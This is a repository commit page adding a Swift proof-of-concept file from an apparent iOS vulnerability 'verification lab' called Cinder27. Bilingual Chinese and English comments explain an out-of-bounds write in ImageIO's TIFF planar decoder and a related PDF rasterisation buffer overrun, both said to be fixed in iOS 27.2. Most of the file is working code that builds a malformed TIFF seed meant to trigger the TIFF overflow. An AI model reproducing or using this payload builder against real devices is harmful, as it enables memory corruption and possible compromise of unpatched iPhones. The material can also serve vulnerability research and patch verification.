Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source

This commit is contained in:
jbjf6666 committed 2026-10-29 02:11:12 +08:00
commit 1ea76ab005
89 files changed
+16485

No files matched your search

+143
View File
@@ -0,0 +1,143 @@
// iio.tiff.planar · ImageIO · decodeStripPlanar · CVE-2026-112633 / 112614
// 原语: OOB 写 · 进程内 · tier 2
// Primitive: OOB write · in-process · tier 2
//
// [zh] TIFF planar 散写越界
// 当 PlanarConfiguration=2 且 SamplesPerPixel 大于 Photometric 所指的通道数时,散写指针的偏移以 32 位乘法计算,且计算结果与目标行容量之间不存在任何比较。
// 27.2 改为 64 位 umull 并比对所需字节数与容量。
//
// [en] TIFF planar scatter out-of-bounds write
// With PlanarConfiguration=2 and SamplesPerPixel greater than the channel count implied by Photometric,
// the scatter pointer offset is computed with a 32-bit multiply and the result is never compared
// against the destination row capacity. iOS 27.2 switches to a 64-bit umull and compares required
// bytes against capacity.
// ── 判别 / oracle ──
// 24A435 的报错串不存在:\"*** ERROR: decodeStripPlanar destination row is %u bytes, the scatter needs %llu\"。
// 变体 iio.pdf.raster: PDF 栅格化解码缓冲越界
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
static func be32(_ v: UInt32) -> [UInt8] {
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
}
static func le32(_ v: UInt32) -> [UInt8] {
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
}
static func be64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
}
static func le64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
}
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
/*
// iio.pdf.raster · ImageIO · PDFReadPlugin::decodeImageData · CVE-2026-112633
// 原语: OOB 写 · 进程内 · tier 2
// Primitive: OOB write · in-process · tier 2
//
// [zh] PDF 栅格化解码缓冲越界
// PDF 页被栅格化进调用方提供的解码缓冲,但未校验该缓冲是否足以容纳。27.2 补入 umull width×bpp、与 have 比较、b.hi 跳转,并报 \"decode buffer
// too small: need %zu bytes (%zu x %zu), have %zu\"。
//
// [en] PDF rasterisation decode buffer overrun
// The PDF page is rasterised into a caller-supplied decode buffer with no check that the buffer is
// large enough. iOS 27.2 adds umull width×bpp, compares against have, branches b.hi, and reports
// "decode buffer too small: need %zu bytes (%zu x %zu), have %zu".
*/
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TIFFPayload) ──
enum TIFFPayload {
struct Entry {
let tag: UInt16
let type: UInt16
let count: UInt32
let value: [UInt8] // raw payload bytes (little-endian), inline if <= 4
}
static func build(entries: [Entry], blobs: [(tag: UInt16, bytes: [UInt8])]) -> Data {
let ifdOffset = 8
let ifdSize = 2 + entries.count * 12 + 4
var extraOffset = ifdOffset + ifdSize
if extraOffset % 2 == 1 { extraOffset += 1 }
var extra = Data()
var blobOffsets: [UInt16: UInt32] = [:]
for blob in blobs {
blobOffsets[blob.tag] = UInt32(extraOffset + extra.count)
extra.append(contentsOf: blob.bytes)
}
var out = Data()
out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00])
out.append(contentsOf: B.le32(UInt32(ifdOffset)))
out.append(contentsOf: B.le16(UInt16(entries.count)))
for e in entries.sorted(by: { $0.tag < $1.tag }) {
out.append(contentsOf: B.le16(e.tag))
out.append(contentsOf: B.le16(e.type))
out.append(contentsOf: B.le32(e.count))
if e.value.count <= 4 {
var v = e.value
while v.count < 4 { v.append(0) }
out.append(contentsOf: v)
} else {
out.append(contentsOf: B.le32(blobOffsets[e.tag] ?? 0))
}
}
out.append(contentsOf: B.le32(0))
if out.count < extraOffset { out.append(contentsOf: [UInt8](repeating: 0, count: extraOffset - out.count)) }
out.append(extra)
return out
}
static func planarScatter(width: Int = 64, height: Int = 64, spp: Int = 4, photometric: UInt16 = 2) -> Data {
let bits: [UInt8] = (0..<spp).flatMap { _ in B.le16(8) }
let stripBytes = width * height
// Deterministic layout: IFD at 8, then BitsPerSample blob, then StripOffsets blob,
// then the plane data. Every offset below is computed, not patched.
let ifdOffset = 8
let ifdSize = 2 + 10 * 12 + 4
var extraOffset = ifdOffset + ifdSize
if extraOffset % 2 == 1 { extraOffset += 1 }
let bitsOffset = extraOffset
let offsetsBlobOffset = bitsOffset + bits.count
let stripBase = offsetsBlobOffset + spp * 4
var stripOffsets: [UInt8] = []
for i in 0..<spp { stripOffsets += B.le32(UInt32(stripBase + i * stripBytes)) }
let entries: [Entry] = [
Entry(tag: 256, type: 4, count: 1, value: B.le32(UInt32(width))),
Entry(tag: 257, type: 4, count: 1, value: B.le32(UInt32(height))),
Entry(tag: 258, type: 3, count: UInt32(spp), value: bits),
Entry(tag: 259, type: 3, count: 1, value: B.le16(1)),
Entry(tag: 262, type: 3, count: 1, value: B.le16(photometric)),
Entry(tag: 273, type: 4, count: UInt32(spp), value: stripOffsets),
Entry(tag: 277, type: 3, count: 1, value: B.le16(UInt16(spp))),
Entry(tag: 278, type: 4, count: 1, value: B.le32(UInt32(height))),
Entry(tag: 279, type: 4, count: UInt32(spp), value: (0..<spp).flatMap { _ in B.le32(UInt32(stripBytes)) }),
Entry(tag: 284, type: 3, count: 1, value: B.le16(2)),
]
var data = build(entries: entries, blobs: [(258, bits), (273, stripOffsets)])
// pad to the computed strip base in case the builder aligned differently
if data.count < stripBase {
data.append(contentsOf: [UInt8](repeating: 0, count: stripBase - data.count))
}
for plane in 0..<spp {
data.append(contentsOf: [UInt8](repeating: UInt8(0x40 + plane * 0x20), count: stripBytes))
}
return data
}
}